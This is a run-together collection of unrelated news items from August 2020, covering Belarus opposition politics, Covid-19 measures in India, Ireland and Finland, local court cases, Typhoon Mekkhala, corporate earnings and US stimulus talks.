Mr Sannikov now says opposition leader Sviatlana Tsikhanouskaya is the "legally and rightful elected president of Belarus" and should be supported by the international community.

But he criticised the European Union for not speaking up sooner on what was happening in Belarus.

"I'm not really hopeful and optimistic about the EU mechanism because they've been keeping really silent, I would say cowardly silent because the depression started months ago," he said.

"People are being tortured in prison and the European Union did nothing. Even the condemnations were very weak.

"That's why we need countries outside the EU to lead the way like the United Kingdom, like Norway, like United States, like Canada."

EU council president Charles Michel condemned police violence in Belarus, writing on Twitter: "Violence against protesters is not the answer #Belarus. Freedom of speech, freedom of assembly, basic human rights must be upheld."

UK foreign office minister James Duddridge also called for the Belarusian government to stop the violence, following what he called a "seriously flawed" election.

German foreign minister Heiko Maas said the EU should discuss reimposing sanctions against Belarus.

He said the country had previously taken steps in the right direction, including releasing political prisoners, but "we must now discuss... whether this still applies in the light of the past week and the past days".

There would be regulation of outsiders in the assembly during the period Bhopal: The Chhattisgarh assembly is set to have a new look when it sits for its monsoon session, scheduled to commence on August 25, amid coronavirus pandemic. Glass partitions between MLAs and provision of sanitization bottles and hankies on the desk of the each member of the house are some of the measures mulled by the Chhattisgarh government to protect the lawmakers during the session, a senior officer of the state assembly secretariat said on Tuesday. The seats of the MLAs will be divided by glass partitions. Periodic sanitization of the house will be done during the session to protect the members from the virus contraction, Chhattisgarh assembly secretary C S Gangrade said. Modalities for holding the monsoon session of the assembly are still being worked out, sources in the Chhattisgarh assembly secretariat told this newspaper. Among the measures proposed to be undertaken during the session are provision of santisation bottles and handkerchiefs on the desk of each member of the house for the use by the lawmakers to cover their faces when they feel like sneezing or coughing, sources added. There would be regulation of outsiders in the assembly during the period. The assembly staff essential for conducting the proceedings of the house would only be allowed to attend office. The press and visitor galleries will remain closed during the session, sources said. It is estimated that the state government would incur an additional Rs 20 lakh to make the house virus-proof during the session, a senior officer of the assembly secretariat said. Incidentally, Madhya Pradesh assembly had to take an unprecedented step of cancelling its monsoon session, convened on July 20, to protect the members from contracting the virus. The Election Commission has rejected the demand of the political parties in Bihar to postpone the Assembly elections in the state. Chief Election Commissioner Sunil Arora reiterated on Monday that elections in Bihar will be held on time, and that the poll panel is making preparations keeping in view the Covid-19 situation. Arora said this while speaking to a news channel. He said that the Election Commission is taking all the necessary precautions in the wake of the coronavirus disease. The political parties in Bihar, including Rashtriya Janata Dal (RJD) and Lok Janshakti Party (LJP), had urged the poll panel to postpone the elections in the state. The LJP had written a letter to the Election Commission saying it is not advisable to put lives of lakhs of people at risk by holding elections at this time. Congress leader Akhilesh Prasad Singh had also said on Sunday that the current situation in Bihar is not conducive for Assembly elections. In the wake of the ongoing Covid-19 pandemic, Singh said he believes that the safety of people should be given paramount importance. The safety of a person and society is the topmost important. The current situation in Bihar and the rest of the country is pathetic. In Bihar every third family has Covie-19 case, he told news agency ANI. The Bharatiya Janata Party (BJP), meanwhile, said that whether to hold an election or postpone it falls absolutely within the ambit of Election Commission and refrained from making any comment on this issue. The Election Commission had asked for suggestions from the political parties on holding the Assembly elections in the state. The earlier deadline of July 31 was increased to August 11 by the commission. The tenure of the current Assembly will end in Bihar on November 29. Presidents rule has to be imposed if the election process is not completed by November 28 in the state. Here are todays top news, analysis and opinion. Know all about the latest news and other news updates from Hindustan Times. Every human is valuable to us: CM tweets after Delhi records 8 Covid-19 deaths, lowest in 2 months Taking to Twitter to share lowest deaths in Delhi in two months due to coronavirus disease (Covid-19) outbreak, Delhi chief minister Arvind Kejriwal on Tuesday said every human is valuable to us and the effort is to ensure not a single person succumbs to the infection. Read more. Havent demanded any post, says Sachin Pilot on his return to Jaipur A day after sealing a peace deal with the Congress party high command, former Rajasthan deputy chief minister Sachin Pilot said he has not demanded any post from the party. Read more. Rahat Indori dies of Covid-19: Shabana Azmi, Farhan Akhtar, Adnan Sami pay tributes to noted Urdu poet Renowned Urdu poet Rahat Indori died of Covid-19 on Tuesday. A host of Bollywood celebrities have expressed grief over the demise of the poet who also penned lyrics for several Bollywood songs including movies like Munna Bhai MBBS and Murder, among others. Read more. 106 locally made trainer aircraft in Indias Rs 8,700 crore buying blitz The defence ministry on Tuesday gave its go-ahead for the purchase of military equipment worth Rs 8,722 crore, including 106 locally made basic trainer aircraft, for the Indian Air Force to provide a push to the governments Atmanirbhar Bharat Abhiyan (self-reliant India movement), a defence ministry spokesperson said. Read more. Pranab Mukherjees health has worsened, on ventilator, says hospital Former President Pranab Mukherjee, who is admitted to an army hospital in Delhi, has not shown any improvement in his health post the surgery, said the hospital treating him on Tuesday, adding that his condition has worsened and he remains critical and on life support. Read more. Regular train services to remain suspended till further notice Regular railway services including the suburban services will continue to remain suspended till further notice, announced the railways ministry on Tuesday, citing restrictions imposed by the government on the mass transport system in the wake of the coronavirus outbreak. As per the governments last order, suspension of services had been extended up to August 12. Read more. Did Ashok Gehot win in the end? Sachin Pilot answers | Rajasthan crisis Congress leader Sachin Pilot speaks with Hindustan Times National Political Editor Sunetra Choudhury over Rajasthan crisis. Pilot opens up on the debate of whether it was a win for Rajasthan Chief Minister Ashok Gehlot. Pilot speaks on differences between him and Rajasthan CM Gehlot. Watch here. Rana Daggubati and Miheeka Bajaj wedding: Amul shares a special tweet about The Daggubutterly Wedding If you havent been living off social media (if you are, we want to know how), youve probably smiled and drooled over the gorgeous wedding photos of Baahubali actor Rana Daggubati and Miheeka Bajaj. The couple tied the knot in an intimate ceremony in Hyderabad on Saturday. Read more. HP leads Indian PC market share during lockdown but Asus sees better growth While we know that most tech firms have taken a hit in sales and growth due to lockdown, brands who are selling notebooks or laptops have still seen a bit of upward going graph. That is because more enterprises have bought notebooks to meet the remote working needs for their employers, as per IDC. Read more. UPDATE: Easton schools to push 1st day of school, shift to 2-day a week hybrid reopening plan UPDATE: Nazareth Area School District announces revamped back-to-school plan after new state mandates School leaders across the nation have spent the summer grappling with how to safely educate students this fall without spiking infections in their communities. Jammu and Kashmir: The Indian Army launched operation Lalpura on Monday evening (August 10) on the basis of Jammu and Kashmir inputs. The army arrested three suspects and recovered arms and ammunition including 1 AK and 2 pistols with magazines. Taking to Twitter, the Chinar cops in Indian Army said, ''Op Lalpura, #Kupwara. Joint search operation was launched late evening yesterday on @JmuKmrPolice inputs. Three suspects apprehended. 1 AK & 2 pistols with magazines & ammunition recovered. Joint Operation in progress.'' Op Lalpura, #Kupwara. Joint search operation was launched late evening yesterday on @JmuKmrPolice inputs. Three suspects apprehended. 1 AK & 2 pistols with magazines & ammunition recovered. Joint Operation in progress.#TerrorismFreeKashmir#Kashmir @adgpi@NorthernComd_IA pic.twitter.com/sQLw4lrSxB Chinar Corps - Indian Army (@ChinarcorpsIA) August 11, 2020 Meanwhile, the Jammu and Kashmir police on Monday (August 10) arrested two overground workers (OGWs) in North Kashmir's Sopore. The police also recovered arms and ammunition including one hand grenade-1 and AK-47 rounds-20 from the arrested militant associates. The accused were caught during the Naka checking at Darpora Bomai which was laid by a joint team of Armys 22 RR, SOG Sopore, CRPF 92,179. Source: Xinhua| 2020-08-11 20:35:49|Editor: huaxia Video Player Close Turkish Foreign Minister Mevlut Cavusoglu (R) speaks at a joint press conference with his Azerbaijani counterpart Jeyhun Bayramov in Ankara, Turkey, Aug. 11, 2020. Turkey will issue seismic exploration and drilling licenses for new areas of the eastern Mediterranean at the end of this month, Turkish Foreign Minister Mevlut Cavusoglu said on Tuesday, vowing to continue the activities in the region which has seen escalating tension with Greece. (Photo by Mustafa Kaya/Xinhua) ANKARA, Aug. 11 (Xinhua) -- Turkey will issue seismic exploration and drilling licenses for new areas of the eastern Mediterranean at the end of this month, Turkish Foreign Minister Mevlut Cavusoglu said on Tuesday, vowing to continue the activities in the region which has seen escalating tension with Greece. "Turkey will defend its rights in the Mediterranean and make no concessions," he said at a press conference with his Azerbaijani counterpart Jeyhun Bayramov. Turkey on Monday dispatched its seismic survey vessel Oruc Reis, accompanied by its Navy, to the eastern Mediterranean after Greece and Egypt last week signed a maritime border agreement for the region. Germany had mediated for the negotiations aiming to resolve differences of the two neighbors regarding hydrocarbon resources in the region and Turkey had suspended its seismic survey plans. The Greek-Egyptian deal led Ankara to halt the talks and resume drilling activities in the region. Enditem A recommendation that all healthcare workers should wear masks to prevent the spread of Covid-19 was queried by the HSE over concerns about supply, internal emails reveal. HSE chief clinical officer Colm Henry was concerned the National Public Health Emergency Team's (Nphet) endorsement of the recommendation would result in a difficulty supplying masks in "high-risk situations in the near future". It is contained in correspondence between Mr Henry and Department of Health chief medical officer Tony Holohan. The email was sent after Nphet decided to endorse a recommendation by the expert advisory group (EAG) that all healthcare workers should wear surgical masks. In a letter sent on April 15, Mr Henry said the HSE was "currently managing significant challenges in meeting demand" for surgical masks and demand had widened to include nursing homes. The HSE suggested a more risk-based approach to the use of masks, similar to that used by Public Health England. Mr Henry wrote: "The challenges Ireland faces in sourcing PPE (personal protective equipment), including surgical masks, in a volatile and competitive global market continues to be unprecedented." He added: "An immediate substantial increase in the use of masks for relatively low risk situations may result in a difficulty supplying masks in high risk situations in the future." At a Nphet meeting on April 17, the HSE's suggestion of a more "risk-based approach" to mask use was discussed. Dr Holohan wrote to Mr Henry after the meeting, stating Nphet required more clarity in relation to the "risk-based" proposal. He asked him to engage with his HSE colleagues to come up with an "updated proposal" more clearly aligned to the approach taken by Public Health England by April 21. This, he added, would help Ireland "work toward the implementation of the EAG advice" on masks. In his reply on April 20, Dr Henry said the HSE was "committed to the safety and protection of both patients and healthcare workers". He said the HSE would implement the EAG recommendations as "a matter of priority". Dr Henry warned that doing this "may result in an increase in demand and this may deplete our current stock at a rate far greater than expected." In June, the Irish Independent revealed that concerns over supply had been raised by Professor Martin Cormican, HSE clinical lead on infection control, at a meeting of the EAG on April 10. He said 300,000 masks were being used a day and a new national policy on mask use would "impose a near impossible challenge to the supply chain". Prof Cormican's remarks were made in relation to a vote that was held by the EAG in relation to the use of masks by healthcare workers when a distance of two metres cannot be observed, regardless of the Covid status of the patient. "When it comes to masks, it is likely that if there is any benefit it is very small," said Prof Cormican, according to meeting minutes. He felt the widespread mask use also degenerates into poor practice, which would increase the risk of Covid-19 transmission, the minutes state. A second recommendation, that workers in clinical settings should wear a surgical face mask when they cannot maintain physical distancing from their colleagues, was also voted on by members of the group. Both recommendations for more widespread use of masks in healthcare settings were passed by a majority vote. Prof Cormican voted against both measures and asked that this be noted. General secretary of the Irish Nursing and Midwives Organisation Phil Ni Sheaghdha told the Covid-19 committee that masks should have been made mandatory for healthcare workers from the start of the pandemic. She said after the HSE made face masks mandatory for healthcare workers on April 22, there was a "dramatic" drop in the number of infections of these workers. BAZ BAMIGBOYE: Despite Covid winter turmoil, the West End got a shot in the arm today with news that one of the biggest shows of the year will go ahead... two years after it was due to open. Advertisement By West Kentucky Star Staff Aug. 10, 2020 | MCCRACKEN COUNTY By West Kentucky Star Staff Aug. 10, 2020 | 02:47 PM | MCCRACKEN COUNTY On Monday, police said a Paducah man crashed his truck into an apartment in Farley, trapping another man inside the apartment. McCracken County deputies said that a brown pickup collided with the back of a parked vehicle owned by 47-year-old Shane Phillips, pushing it through the front wall of Phillips' apartment. The owner of the truck, 31-year-old Randy Lowery of Paducah, fled on foot before officers arrived. The Reidland-Farley Fire Department helped Phillips out of the apartment while deputies searched the area for Lowery. Phillips told officers that Lowery had left his apartment after having an argument with him, and that Phillips had just walked back inside the apartment when the vehicle came through the front door and wall. Lowery was found a short time later and taken to a local hospital for treatment of injuries. He was then arrested and lodged in the McCracken County Jail. Lowery is charged with operating a vehicle under the influence of a controlled substance (aggravated circumstances), first degree criminal mischief, first degree wanton endangerment, operating a vehicle on a suspended or revoked license, failure to maintain insurance, expired registration plates, and leaving the scene of an accident. An Instagram influencer has faced court after slashing her boyfriend's sister with a key following a messy breakup. Mia Daly, 20, pleaded guilty to one count of assault occasioning actual bodily harm at Wyong Local Court, north of Sydney, on Tuesday. Carlie Beckhouse suffered a cut near her eyebrow when Daly visited the family's home on the Central Coast to pick up her belongings in January, Central Coast Express Advocate reported. The court heard Daly had been living with her boyfriend Braedan Beckhouse and his family in Tacoma South, but was asked to move out after their relationship ended. Instagram influencer Mia Daly (pictured) was sentenced in court after using a car key to slash her boyfriend's sister on the face Following the breakup, both Daly's ex-boyfriend and the victim blocked her phone number and social media accounts, an agreed set of amended facts tendered in court said. Mr Beckhouse received a text message from a friend at about 9pm on January 27 saying Daly would go to his house to collect her belongings. When Daly arrived at the property, she was met by Ms Beckhouse and a box of her clothes. Ms Beckhouse told Daly to leave but the 20-year-old said she wanted to speak with her former flame. 'The accused told the victim she wished to speak to Braedan and attempted to walk towards the house, the victim repeatedly told her ''No'',' the facts state. Ms Beckhouse used her body to block Daly from entering the home but the Instagram influencer persisted. 'The victim prevented the accused from walking further onto the property by holding her hands out to the side and placing her body in front of the accused. The accused continued to barge the victim while holding the box. The victim pushed the accused back to remove her from the property,' the facts read. Carlie Beckhouse (pictured) suffered a cut near her eyebrow after trying to stop Daly from speaking to her brother Braedan Beckhouse Daly (pictured) had been living with her boyfriend, Braedan Beckhouse, and his family in Tacoma South but was asked to move out after their relationship ended Daly, who was holding her car keys, then dropped the box and moved towards Ms Beckhouse. 'The victim felt a hard object hit her on the face near her left eyebrow. Due to the manner in which the accused was holding the keys, they have come in contact with the victim's face causing a minor injury,' the facts continued. The victim's mother came outside and again told Daly to leave the property. According to the facts, Daly screamed: 'Braedan needs to come talk to me, he needs to come outside.' Ms Beckhouse reported the incident to police and Daly handed herself in the following day. Ms Dalys solicitor, Brad Kernick, told the court his client and the victim's brother have since rekindled their relationship without the victim's knowledge. Ms Daly was given a conditional release order for one year without conviction. The British Government is not lifting its quarantine rules for travellers from the Balearic Islands, the Canary Islands or any other Spanish region, despite pressure from the Spanish government and the European Tourism Industry. The Foreign Office says the decision was based on the increase in coronavirus outbreaks in Spain in the last two weeks. Hoteliers in Majorca waited until Monday, August 10, before taking drastic action and closing establishments focused on the British market. "The situation has turned around and given the sharp fall in British Tourism for the coming dates, we are forced to start the gradual closure of hotels," said a spokesperson for Majorcan Hotel Chains. FEHM President, Maria Frontera, had predicted that this would happen if the quarantine on the Balearic Islands wasnt lifted. Detours Thousands of tourists who booked holidays in Majorca and the other Islands with Jet2, EasyJet Holidays and TUI UK have been diverted to Greece and Turkey, which are not restricted by the UK. German tourists are choosing to drive to Croatia and Italy on holiday, instead of going through airport health checks, which is also affecting tourism in the Balearic Islands. Tourist Incentives Greece and Turkey are taking all the fiscal and economic measures they can to make destinations more attractive than the Balearic Islands to British and German tourists. Greece lowered its tourist VAT from 23 to 13% in August, Turkey has devalued the lira by 20% and hoteliers are cutting prices by more than 50%, which has led to an increase in British and German tourists in both countries this month. A man will have to pay $2,200 after pleading guilty on Monday to driving with more than double the legal alcohol level in his blood. Hey there, time traveller! This article was published 11/8/2020 (526 days ago), so information in it may no longer be current. Advertisement Advertise With Us A man will have to pay $2,200 after pleading guilty on Monday to driving with more than double the legal alcohol level in his blood. Miguel Paniagua, 27, was charged with operating a motor vehicle with a blood-alcohol level over the legal limit. Crown attorney Deidre Badcock said the charges stemmed from April 26, 2020, when at approximately 4:15 a.m., Brandon police saw Paniaguas vehicle speeding westbound on the 600 block of Victoria Avenue. The vehicle slowed down when it approached another vehicle in front of it. The car signalled to change lanes to pass the vehicle in the curb lane, slowly swerving left. "Its a bit of an unusual move when you consider the time of day this is, the speeding up, slowing down not typical manoeuvres of sober drivers," Badcock said. Police followed the vehicle for a while and continued to see the driver make unusual manoeuvres behind the wheel. Police turned on their emergency lights, but the vehicle didnt immediately stop. Two blocks later, it turned north on the 400 block of 12th Street, going the wrong way on a one-way street, Badcock said. When police approached the vehicle, they saw an empty box of Heineken beer wedged between the drivers seat and passenger seat, and a strong smell of alcohol was coming from the vehicle. The Crown said Paniagua admitted to police he had "a few" earlier in the evening and stopped drinking approximately 30 minutes before. He admitted to police he was intoxicated before police arrested him. Two breath tests placed his blood alcohol level at 0.200 and 0.190 milligrams of alcohol per 100 millilitres of blood. The legal limit in Manitoba is 0.08. "(Drinking and driving) is one of the leading causes of death in Canada, and its something that despite the very strong messages coming from court continues to still be a problem in our community," Badcock said. "People just arent getting the message." Badcock suggested a $2,200 fine, noting that the mandatory minimum fine for such high readings is $2,000. She also recommended the court ban him from driving for one year. Defence lawyer Ryan Fawcett said Paniagua was co-operative with police and admitted his guilt at the scene. He said he made a very bad decision that night, but is young and can make changes. Fawcett suggested a $2,000 fine for the incident, noting that his driving prohibition has been artificially extended due to COVID-19 court delays. Speaking to the court, Paniagua said he knows he cant be making these kinds of mistakes. Judge Donovan Dvorak told sentenced him to a $2,200 fine, followed by a one-year driving prohibition. He warned him that if he is back in front of the court again for a similar charge, he could be facing jail time. dmay@brandonsun.com Twitter: @DrewMay_ Saudi Aramco, the worlds largest oil company, said on Sunday that its quarterly earnings plunged more than 73 percent compared to a year ago, as lockdowns imposed to curb the coronavirus pandemic drastically cut the demand for oil and slammed prices. Despite the steep fall in earnings, to $6.6 billion from $24.7 billion, the company said it would continue paying a quarterly dividend of $18.75 billion, almost three times its cash flow. Aramco is locked into paying such a large amount $75 billion a year because of commitments made in the run-up to its initial public offering last year. Nearly all of the dividend money will go to the Saudi government, which owns more than 98 percent of the company. Continuing to pay such a large dividend distinguishes Aramco from other oil giants, like BP and Royal Dutch Shell, which have recently cut their payouts to preserve capital in difficult times. Source: Xinhua| 2020-08-11 13:19:00|Editor: huaxia Video Player Close A car is covered under a fallen tree in Xiamen, southeast China's Fujian Province, Aug. 11, 2020. Typhoon Mekkhala, the sixth this year, made landfall at around 7:30 a.m. Tuesday in Zhangpu County, east China's Fujian Province, bringing gales of up to 33 meters per second near its eye, according to local meteorological authorities. (Photo by Zeng Demeng/Xinhua) FUZHOU, Aug. 11 (Xinhua) -- Typhoon Mekkhala, the sixth this year, made landfall at around 7:30 a.m. Tuesday in Zhangpu County, east China's Fujian Province, bringing gales of up to 33 meters per second near its eye, according to local meteorological authorities. The gales and heavy rains have disrupted local traffic. Some trains have been ordered to stop services in the province. Gaoqi airport in the coastal city of Xiamen canceled 51 outbound flights on Monday and 38 flights on Tuesday morning. The Xiamen flood control office said that more than 5,600 fishing ships had returned to ports and over 3,200 people had been evacuated to land. Passenger ferries were ordered to suspend services in affected areas, and tourist attractions and construction sites were ordered to close. China's national observatory on Monday issued a yellow alert for Typhoon Mekkhala, which will bring gales to the country's eastern and southern coastal regions. China has a four-tier color-coded weather warning system, with red representing the most severe weather, followed by orange, yellow and blue. Meteorological authorities forecast that the typhoon will move northwestward and start to weaken after the landfall. On Tuesday, central and southern Fujian will experience downpours, with some areas seeing up to 200 mm of rainfall. Mekkhala was the second typhoon that landed in coastal areas of east China over the past week. Last Tuesday, Hagupit, the fourth typhoon of this year, landed in east China's Zhejiang Province, packing winds of 38 meters per second near its center. Enditem A recent US study available on the medRxiv* preprint server supports the use of self-collected oropharyngeal swabs, together with CRISPR- and PCR-based diagnostic assays, as rapid, feasible and reliable approach for the surveillance of severe acute respiratory syndrome coronavirus 2 (SARS-CoV-2) in university students and other asymptomatic individuals. Study: CRISPR-based and RT-qPCR surveillance of SARS-CoV-2 in asymptomatic individuals uncovers a shift in viral prevalence among a university population. Image Credit: Nathan Devery / Shutterstock The relentless progress of the coronavirus disease (COVID-19) pandemic profoundly impacted the health of communities around the globe and resulted in tectonic shifts regarding the professional, educational, and social aspects of our daily lives. An essential aspect of pandemic control is the meticulous planning for the return to college campuses on the brink of the 2020-2021 academic year. And while COVID-19 testing has thus far concentrated on elderly and more fragile patients with an increased risk of dying, a substantial burden of disease has emerged among those attending colleges and universities. Likewise, this large asymptomatic population reservoir can serve as a vector, sparking new disease pockets and additional outbreaks. Consequently, early detection of the infection in people with mild or non-existent COVID-19 symptoms is pivotal for preventing hidden outbreaks. Such potential of stealth transmission is especially significant for university communities, where off-campus residences, dormitories, and social spaces with high occupation densities favor the rapid spread of respiratory diseases. This is why researchers from the University of California Santa Barbara, Santa Barbara Cottage Hospital, and Pacific Diagnostic Laboratories in the US decided to utilize a CRISPR-based test to screen for SARS-CoV-2 in asymptomatic individuals belonging to the university community in order to improve our understanding of disease prevalence and its trajectory. Description of the study and population demographics. (A) 1,808 persons were recruited in two cohorts during the months of May, June and July of 2020. The arrows indicate the days of sample collection. Samples were not collected during the UCSB summer break from June 11 to June 22. (B, C, D). UCSB affiliation, gender and age of study participants. (E) Flow chart of specimen handling (SBPHD Santa Barbara Public Health Department). Only positive results, confirmed in a CLIA laboratory with diagnostic testing, were reported to the participants and the Santa Barbara Public Health Department (SBPHD). A surveillance study with two diagnostic assays To obtain better insights on the SARS-CoV-2 spread patterns in their local community, the researchers enrolled 1,808 healthy volunteers in the surveillance study. First, they aimed to establish the exact prevalence of asymptomatic SARS-CoV-2 infection rates on a university campus in California. Then they have sought to appraise the changes in viral prevalence that are associated with the varying community conditions related to non-pharmaceutical interventions. Finally, they wanted to compare and contrast the performance of CRISPR- and PCR-based diagnostic assays for large-scale virus surveillance sampling in COVID-19 asymptomatic individuals. Oropharyngeal samples used in the study were self-collected and processed for parallel SARS-CoV-2 testing with the use of a newly developed CRISPR-based assay (known as CREST) and the reverse transcription-polymerase chain reaction (RT-qPCR) assay recommended by the US Centers for Disease Control and Prevention (CDC). The researchers compared the results obtained from two distinct time periods. The first collection period ensued during May and June 2020, which was approximately two months into a US state-wide stay-at-home directive. The second collection period took place during late June and early July 2020, roughly three weeks after local restrictions for isolation were abandoned, and the community was authorized to enter the third stage of a scheduled four-stage reopening. Overview of CREST and RT-qPCR protocols. (A) OP swabs were self-collected by participants and RNA was isolated from the samples. For CREST, RNA was reversed transcribed, and the resulting DNA was amplified by polymerase chain reaction (PCR) using primers for the N1, N2, and RNAse P target regions. The amplified region of interest was transcribed in vitro and used as the template for detection by Cas13. The activation of Cas13 following target recognition by the guide RNA (gRNA) was measured using a fluorescent poly-U cleavage reporter. For qPCR, the RNA was reverse transcribed and detected by real-time amplification. RT-qPCR and CREST in harmony This study has shown that there were no COVID-19 cases among the tested individuals in May and June 2020. However, by using the same methods, the researchers demonstrated a substantial shift in prevalence approximately one month later, coincidental with changes in public interactions and community restrictions. Such an increase in prevalence in a young and asymptomatic population (which would otherwise elude COVID-19 testing) suggested the leading wave of a local outbreak and corresponded with the rising number of cases in the surrounding county and the state of California. Moreover, taking the study population as a whole, the estimated prevalence of the virus (calculated using the confirmed cases) was 0.74%. Also, there was an almost perfect agreement in both positive and negative results obtained by RT-qPCR and CREST, with a single exception. "Our data support that self-sampling by oropharyngeal swab is dependable, and thus provides an alternative method for unsupervised or remotely supervised sample acquisition outside of a healthcare setting", emphasize study authors in their medRxiv paper. Towards population-level asymptomatic screening The primary challenge for university communities is the possibility of covert infections prompted by social and academic gatherings, which are otherwise inevitable in the context of a vibrant university campus. "Our results substantiate that large, population-level asymptomatic screening using self-collection may be a feasible and instructive aspect of the public health approach within large campus communities," emphasize study authors. And indeed, virtually perfect concordance between CRISPR- and PCR-based diagnostic assays can be considered as expanded options for SARS-CoV-2 surveillance testing in asymptomatic individuals. In a nutshell, monitoring the population to unveil COVID-19 cases before they result in actual outbreaks could be regarded as a paramount mitigation approach within large campus communities and those facing similar challenges. *Important Notice medRxiv publishes preliminary scientific reports that are not peer-reviewed and, therefore, should not be regarded as conclusive, guide clinical practice/health-related behavior, or treated as established information. The Delhi High Court on Monday ordered transferring a batch of cases pending against various foreign nationals, who attended the Tablighi Jamaat event in Delhi and allegedly indulged in missionary activities in violation of visa norms and breached anti-Covid-19 guidelines, to Saket district court for being decided expeditiously. Justice Anup Jairam Bhambhani directed that the charge sheets arising out of different FIRs mentioned in eight petitions be transferred from different trial courts in Delhi to the court of chief metropolitan magistrate, South-East Delhi, Saket district court here and said the matters be disposed of expeditiously in accordance with the law. The high court, which was hearing the matters through video conferencing, passed the order after the counsel for the foreigners urged it to issue directions similar to that issued by the Supreme Court on August 6. The high court passed the direction while allowing the plea by senior advocate Rebecca John, appearing for the foreign nationals, to withdraw the petitions seeking quashing of separate FIRs lodged against them. Regarding three petitions concerning the cases where the magistrate refused to take cognisance of the alleged offences mentioned in the charge sheets, the high court was informed that the petitioners have not been summoned by the trial court and nothing survives in the matter if the state does not challenge the magistrate's order. Delhi government standing counsel (Criminal) Rahul Mehra sought time to seek instructions on this aspect. Meanwhile, central government standing counsel Ajay Digpaul, Anil Soni and Anurag Ahluwalia submitted that since Look Out Circulars (LoC) were opened by the Bureau of Immigration, Ministry of Home Affairs, at the request of prosecuting agency Delhi Police, once the criminal cases are closed and request is received to close the LOC, the Union of India will have no problem in doing this and in facilitating the petitioners exiting the country. According to the separate petitions, the foreigners said they have already admitted their guilt in the FIR lodged by the Crime Branch of Delhi Police in the matter and pleaded for lenient punishments under the provisions of plea bargaining. They were allowed to walk free on payment of varying fines and pleading guilty for minor offences related to the Covid-19 lockdown violations, the counsel for the foreigners said, adding that their deportation orders were also issued. However, they are not able to fly back to their countries due to the pendency of other FIRs lodged at various police stations here, the counsel said. When the petitioners wanted to go back to their countries, it transpired that a second FIR is also pending against each of them and the charge sheets have been filed before the trial court, she said. These petitioners are nationals of various countries including Australia, South Africa, Indonesia and Sri Lanka and are arrayed as accused in the charge sheets filed by the police. Their counsel has contended that the police cannot lodge separate FIRs for the same alleged offence and they are unable to go back due to look out circulars (LOCs) being opened against them. She said while the first FIR was lodged on March 31, this second FIR by the police was filed later on and added that the foreigners were not informed of these additional FIRs before the Saket court where they pleaded guilty. The petitioners had sought quashing of two FIRs registered at various police stations under various sections of IPC and the Epidemic Diseases Act. They have also sought directions to the respondents to close the LoC issued qua foreign national petitioners. In the case being probed by the crime branch, the foreign national petitioners have duly entered plea bargaining and consequent deportation orders have been issued by the court. They said that the allegations in the FIRs before this court are similar to the FIR of crime branch, in which 911 of the 955 foreigner Jamaatis have entered into plea bargaining . "Under the law, second FIR is impermissible and there is an operational bar from prosecution of same offences arising out of the corresponding cause of action under Article 20(2) of the constitution of India( widely known as doctrine of double jeopardy) as well as section 300 of the CrPC," the pleas said. In April, Covid-19 cases across the country spiked after hundreds of many Tablighi Jamaat members, who had attended the religious congregation at Nizamuddin Markaz in the national capital, tested positive. At least 9,000 people, including the foreign nationals participated in the religious congregation in Nizamuddin. Later, many of the attendees travelled to various parts of the country. FILE PHOTO: A worker carries a pizza for delivery as he exits a Domino's pizza store in Sydney, Australia (Reuters) - Domino's Pizza Group Plc posted a 2.7% dip in first-half operating earnings on Tuesday, hurt by a fall in overall orders and the additional costs of cooking and delivering its pizzas safely in the coronavirus outbreak. Britain's largest pizza delivery chain said underlying earnings before interest and taxes (EBIT) fell to 51.4 million pounds ($67.27 million) for the six months ended June 28, from 52.8 million pounds a year earlier. A lockdown in the UK boosted the company as Britons ordered-in more, leading to a 23% rise in deliveries, but Domino's had to re-think operations, rationalise its menu, close restaurants during restocking and implement contact-free, hygienic deliveries. System sales, which measure the total sales of the group's franchisee and corporate store systems, rose 5.5% in the UK and Ireland. But the company, a franchise of U.S. based Domino's Pizza Inc , said total orders fell 5% as collection at its stores slumped by 44%, even as deliveries overall rose 12%. Chief Executive Officer Dominic Paul also cautioned on the future. "While trading in the first few weeks of the second half has been encouraging, it is too early to conclude on how consumer behaviour will evolve," said Paul, who joined earlier this year as part of a management shake-up. Domino's also said its deferred 2019 dividend would be paid in September, while it reviewed a total payout for the current year. (Reporting by Pushkala Aripaka in Bengaluru; Editing by Rashmi Aich) Congress Members Trade Barbs on COVID-19 Relief, No Talks on Deal Senate Majority Leader Mitch McConnell (R-Ky.) Tuesday called on Democrats to return to the negotiating table on COVID-19 relief in the midst of stalled talks between top Democrats in Congress and the White House. It does the nation a disservice to act like these last several weeks were just another routine political standoff, McConnell said on the floor of the Senate. It does struggling families, and laid-off workers, and stressed-out school principals, and health care professionals a disservice to act like this has just been more ordinary Washington gridlock. McConnell again said that Democrats have insisted on funding for cities and states, describing it as a bailout for poorly managed states. He said those measures would be dead-on-arrival in the Senate, which is controlled by the GOP. Republicans wanted to reach an agreement everywhere we could and then continue to fight over the contested questions later, he said. But the Democrats said no because they know their unrelated wish-list items would have no prayer of standing on their own merit. Only these hostage tactics could possibly get their bad ideas across the finish line. So struggling people have waited, and waited, and gotten nothing. As of Tuesday afternoon, there was no sign that there will be any talks on a new stimulus package. At risk are $1,200 stimulus checks, aid to state and local governments, liability protections, unemployment benefits, and more. Senate Minority Leader Chuck Schumer (D-N.Y.) speaks at a press conference before the impeachment trial of President Donald Trump resumes at the U.S. Capitol in Washington on Jan. 23, 2020. (Drew Angerer/Getty Images) It came after Senate Minority Chuck Schumer (D-N.Y.), who was negotiating with the White House on a deal, said that recent executive orders authorized by President Donald Trump are not sufficient. Schumer, on the floor, portrayed Republicans as a party in disarray, saying President Trump should be trying to restart talks. So many Republicans are saying: Dont do a thingdont do a thing. Theyre glad the negotiations have broken down. Were not, Schumer remarked. Trump took executive action to provide $400 in unemployment benefits, with $300 coming from the federal government and $100 from states. He also issued orders to look into issuing moratoriums on evictions for renters and homeowners, deferrals on student loan payments, and a suspension of the payroll tax that pays for Social Security and Medicare. The benefits are down from the $600 per week in supplemental federal benefits out-of-work Americans got starting March until July 31. The executive order on evictions doesnt even guarantee a moratorium on evictions, let alone identify specific funds to help people whove fallen behind on rent, he said. White House Economic Adviser Larry Kudlow told Fox News on Tuesday Trumps plan on unemployment will go into effect in two weeks or so. Share this article Whatsapp Facebook Twitter Linkedin News Desk (Agence France-Presse) Helsinki, Finland Tue, August 11, 2020 11:30 526 6657ac82168da9fa101c8a4066d0f4ee 2 News finland,arrivals,visitors,coronavirus,coronavirus-restrictions,COVID-19,COVID-19-infection,COVID-19-quarantine,pandemic,SARS-CoV-2,virus-corona,novel-coronavirus Free People arriving in Finland from coronavirus "risk countries" have to self-isolate for 14 days or risk a fine or up to three months' imprisonment, ministers announced on Monday. 